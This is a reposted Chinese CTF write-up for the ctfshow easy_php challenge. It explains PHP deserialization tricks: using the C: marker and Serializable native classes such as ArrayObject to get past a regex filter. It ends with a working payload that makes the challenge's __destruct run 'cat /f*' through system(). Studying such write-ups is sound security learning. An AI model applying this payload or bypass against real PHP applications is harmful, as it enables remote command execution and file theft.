ctfshow 第三届愚人杯 easy_php

这篇具有很好参考价值的文章主要介绍了ctfshow 第三届愚人杯 easy_php。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

这题学的了一些小tips,这里讲解一下。

基础

这里详细讲解一下使用c绕过wakup。

O标识符代表对象类型,而C标识符代表类名类型。如果将O替换为C,则在反序列化时会将其解释为一个新的类名字符串,从而创建一个新的类而不是对象。因为这个新的类没有被序列化过,所以它没有任何属性或方法。这样一来,在反序列化时,__wakeup魔术方法就不会

被自动调用。


从下面慢慢解释和扩展。

第一阶段-引入

<?php
class AAA {

    public function __wakeup() {
        echo "__wakeup";
    }

    public function __construct(){
        echo "__construct".PHP_EOL;
    }

    public function __destruct(){
        echo "__destruct".PHP_EOL;
    }
}

$a = serialize(new AAA());
$mod = str_replace("O:","C:",$a);
echo $mod.PHP_EOL;

$unserialized = unserialize($mod);
var_dump($unserialized);

这里我们发现是没有触发__wakup的,但是这里有一个问题就是这里不能有属性,为什么呢,这里分析一下。

因为现在这种方法不能有属性,那么只能触发__construct和__destruct,所以相对比较不这么好用。

//回显
__construct
__destruct
C:3:"AAA":0:{}

Warning: Class AAA has no unserializer in D:\tools\phpstudy_pro\WWW\5.php on line 24
object(AAA)#1 (0) {
}
__destruct

当O被替换成了C以后,这里生成的序列化字符串被认为是一个可调用对象的字符串,而不是一个普通对象。当我们将他反序列化的时候,它会被转换为一个匿名函数,并成为可调用对象。

可调用对象是不允许有属性的,因此在序列化字符串中包含属性的情况下,反序列化操作会忽略这些属性,但是我们这里是直接不能序列化的了。

第二阶段-扩展

但是说还有另一个东西,就是就是有接口Serializable的类

C这个标识符,其实也是代表实现了 Serializable接口的类

因为实现Serializable接口,我们必须要重写serialize和unserialize方法

这里我们本地看一下。

<?php
class AAAA implements Serializable{
    public $name="aa";
    public $age="bb";

    public function serialize() {
        return serialize(array(
            'name' => $this->name,
            'age' => $this->age
        ));
    }
    
    public function unserialize($data) {
        $data = unserialize($data);
        $this->name = $data['name'];
        $this->age = $data['age'];
    }

    public function __construct(){
        echo "__construct\n";
    }

    public function __wakeup() {
        echo "__wakeup()";
    }

    public function __destruct(){
        echo 2222222;
    }
}

$a = new AAAA();
$b = serialize($a);
echo $b.PHP_EOL;

$c = unserialize($b);
var_dump($c);

这里我们看看回显,可以看到序列化默认输出就是C,然后下面他是有解析属性,这里讲解一下,然后这里看到他的序列化串,其实按AAAA中的serialize加密方式来的。

//回显
__construct
C:4:"AAAA":45:{a:2:{s:4:"name";s:2:"aa";s:3:"age";s:2:"bb";}}
object(AAAA)#2 (2) {
  ["name"]=>
  string(2) "aa"
  ["age"]=>
  string(2) "bb"
}
22222222222222

首先,有C在的情况,他会先检测这里类是否实现了Serializable接口

如果有的话,他会将里面的值传入我们重写的unserialize方法中,就是这一串

a:2:{s:4:"name";s:2:"aa";s:3:"age";s:2:"bb";}

这个我们知道是可以正常解析的,所以我们可以通过利用实现了Serializable接口的原生类,来解析正常解析里面的那一串。

下面是获取实现Serializable接口的脚本

第三阶段-利用

<?php

// 获取所有已定义的类
$classes = get_declared_classes();
$serializableClasses = [];

// 遍历所有类
foreach ($classes as $class) {
    // 创建反射类对象
    $reflection = new ReflectionClass($class);
    // 判断类是否实现了 Serializable 接口
    if ($reflection->implementsInterface('Serializable')) {
        // 将实现了 Serializable 接口的类添加到数组中
        $serializableClasses[] = $class;
    }
}

// 输出实现了 Serializable 接口的所有原生类
foreach ($serializableClasses as $class) {
    echo $class . PHP_EOL;
}
/*
ArrayObject
ArrayIterator
RecursiveArrayIterator
SplDoublyLinkedList
SplQueue
SplStack
SplObjectStorage
*/

 这里我们使用第一个ArrayObject,我们先生成一个,放到里面反序列化看看

<?php
 
class AAAA{
    public $name=1;
    public $age=2;
}

$a = new ArrayObject;
$a -> a = new AAAA;

echo serialize($a);
//C:11:"ArrayObject":73:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:4:"AAAA":2:{s:4:"name";i:1;s:3:"age";i:2;}}}

这里我们在序列化AAAA类中看看。

<?php
class AAAA{
    public $name="aa";
    public $age="bb";
    
    public function __wakeup() {
        echo "__wakeup\n";
    }
    public function __construct(){
        echo "__construct\n";
    }

    public function __destruct(){
        echo 2222222;
    }
}

$c = unserialize('C:11:"ArrayObject":73:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:4:"AAAA":2:{s:4:"name";i:1;s:3:"age";i:2;}}}');
var_dump($c);

但是这里发现虽然是执行了,但是没有绕过__wakeup了,所以发现好像只能当一个绕过过滤使用的,但是不能用于绕过__wakeup了,呃呃呃。

//回显
__wakeup
object(ArrayObject)#1 (2) {
  ["a"]=>
  object(AAAA)#2 (2) {
    ["name"]=>
    int(1)
    ["age"]=>
    int(2)
  }
  ["storage":"ArrayObject":private]=>
  array(0) {
  }
}
2222222

题目

<?php


error_reporting(0);
highlight_file(__FILE__);

class ctfshow{

    public function __wakeup(){
        die("not allowed!");
    }

    public function __destruct(){
        system($this->ctfshow);
    }

}

$data = $_GET['1+1>2'];

if(!preg_match("/^[Oa]:[\d]+/i", $data)){
    unserialize($data);
}


?>

看看过滤,这里发现他是匹配开头是O或者a的,后面还有匹配数字的,加上i,那么我们基本是不可以通过的,注意这里加号不能用,那么这时候就可想到利用原生类加上接口Serializable就可以绕过过滤了文章来源地址https://www.toymoban.com/news/detail-426126.html

//exp
<?php
 
class ctfshow{
    public $ctfshow="cat /f*";
}

$a = new ArrayObject;
$a -> a = new ctfshow;

echo serialize($a);
payload:
    get传:?1%2B1%3E2=C:11:"ArrayObject":75:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";}}}

到了这里,关于ctfshow 第三届愚人杯 easy_php的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 2017第三届美亚杯全国电子数据取证大赛个人赛wp

                                                                   话不多说,案情👇          Gary是一位经常用手提电脑的人,而且热爱足球运动,常常看足球网站。他于2007年9月开始想赚快钱,思想变得偏激,并关注一些违法的事。于是Gary就想着赌博,查阅军事

    2024年02月07日
    浏览(62)
  • 第三届陕西省大学生网络安全技能部分WP

    题目代码如下: payload: http://e2e84684.clsadp.com/?PK=/flag 题目文本 8881088410842088810810842042108108821041010882108881 0为截断,0前面的4位置相加之后为26个大写英文字母的索引,exp如下: 使用kali中join工具爆破出zip密码 在key.jpg中 右键属性里面详细信息获得一串韩文加密 通过在线网站解密获

    2024年02月08日
    浏览(44)
  • 第三届OceanBase数据库大赛启动,升级为国家级竞赛

    近日,第三届OceanBase数据库大赛启动报名。本届大赛进一步升级为全国大学生计算机系统能力大赛,由系统能力培养研究专家组发起,全国高等学校计算机教育研究会、系统能力培养研究项目发起高校主办,OceanBase承办,旨在培养和发现计算机底层核心技术的后备人才。 Oc

    2024年02月12日
    浏览(40)
  • 快速响应 智慧应急|大势智慧亮相第三届武汉国际安全应急博览会

    4月26日至4月28日,第三届武汉国际安全应急博览会(后简称“应博会”)在湖北武汉顺利举办。本次展会,大势智慧以 实时三维重建能力 为核心,提供 各类 应急场景的技术支撑 ,助力 应急处置和救援 等方面的应用。 展会上, 重建农场便携版、大势鹰眼实时三维重建、大

    2024年02月07日
    浏览(44)
  • 2023年台州市第三届网络安全技能大赛(MISC)这是神马

    考点:冰蝎流量特征数据包,需要解密 emoj 解密 冰蝎之前做过 特征就是先 base64 编码在 AES 编码 我们在数据包里面找到了密钥: 144a6b2296333602 这里我们知道了密钥我们就去解密 先筛选 HTTP 协议 导出 HTTP 数据流可以看到传了 shell.php 随便找一个然后复制, AES 解密这里我没工具

    2024年02月08日
    浏览(51)
  • Call for Papers丨第三届GLB@KDD‘23 Workshop

    鉴于介绍新数据集和Benchmark研究往往需要不同于常规论文的评审标准,计算机视觉和自然语言处理领域,以及最近的NeurIPS会议,都有专门致力于建立新Benchmark数据集和任务的Conference Track。然而在图机器学习领域,我们还没有类似的发表渠道。 Workshop on Graph Learning Benchmarks(

    2024年02月04日
    浏览(43)
  • 2023第三届”红明谷“杯网络安全大赛 Writeup By AheadSec

    修改前端js代码,将连点10次处的 clickDecryptBtn(); 循环次数改为10000即可,如图所示: Dreamer cms有nday:https://forum.butian.net/share/2183 其中有一个后台设置栏目存在任意文件读取的漏洞,而且也给了flag位置在 /flag 保存,然后首页点击这个栏目即可 返回都是 gzip 格式的数据,直接用

    2023年04月24日
    浏览(47)
  • 征稿 | 第三届粤港澳大湾区人工智能与大数据论坛(AIBDF 2023)

    第三届粤港澳大湾区人工智能与大数据论坛(AIBDF 2023) 2023 3rd Guangdong-Hong Kong-Macao Greater Bay Area Artificial Intelligence And Big Data Forum      本次高端论坛围绕建设国家数字经济创新发展试验区进行选题。全面贯彻落实党的二十大精神,深入贯彻落实关于发展数字经济的重要指示要

    2024年02月13日
    浏览(46)
  • 第三届计算机、物联网与控制工程国际学术会议(CITCE 2023)

    第三届计算机、物联网与控制工程国际学术会议(CITCE 2023) The 3rd International Conference on Computer, Internet of Things and Control Engineering(CITCE 2023) 第三届计算机、物联网与控制工程国际学术会议(CITCE 2023)将于2023年11月3-5日在英国莱斯特召开。 CITCE 2023将围绕计算机、物联网与控制

    2024年02月11日
    浏览(38)
  • 2022第三届全国大学生网络安全精英赛练习题(4)

    301、Windows10各版本中,功能最少的是() A.家庭版 B.专业版 C.企业版 D.教育版 正确答案:A 解析:功能从少到多∶家庭版——专业版——教育版——企业版(教育版和企业版功能基本相同) 302、漏洞扫描技术是一类重要的网络安全技术。它和防火墙、入侵检测系统互相配合,能够有

    2024年02月05日
    浏览(50)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包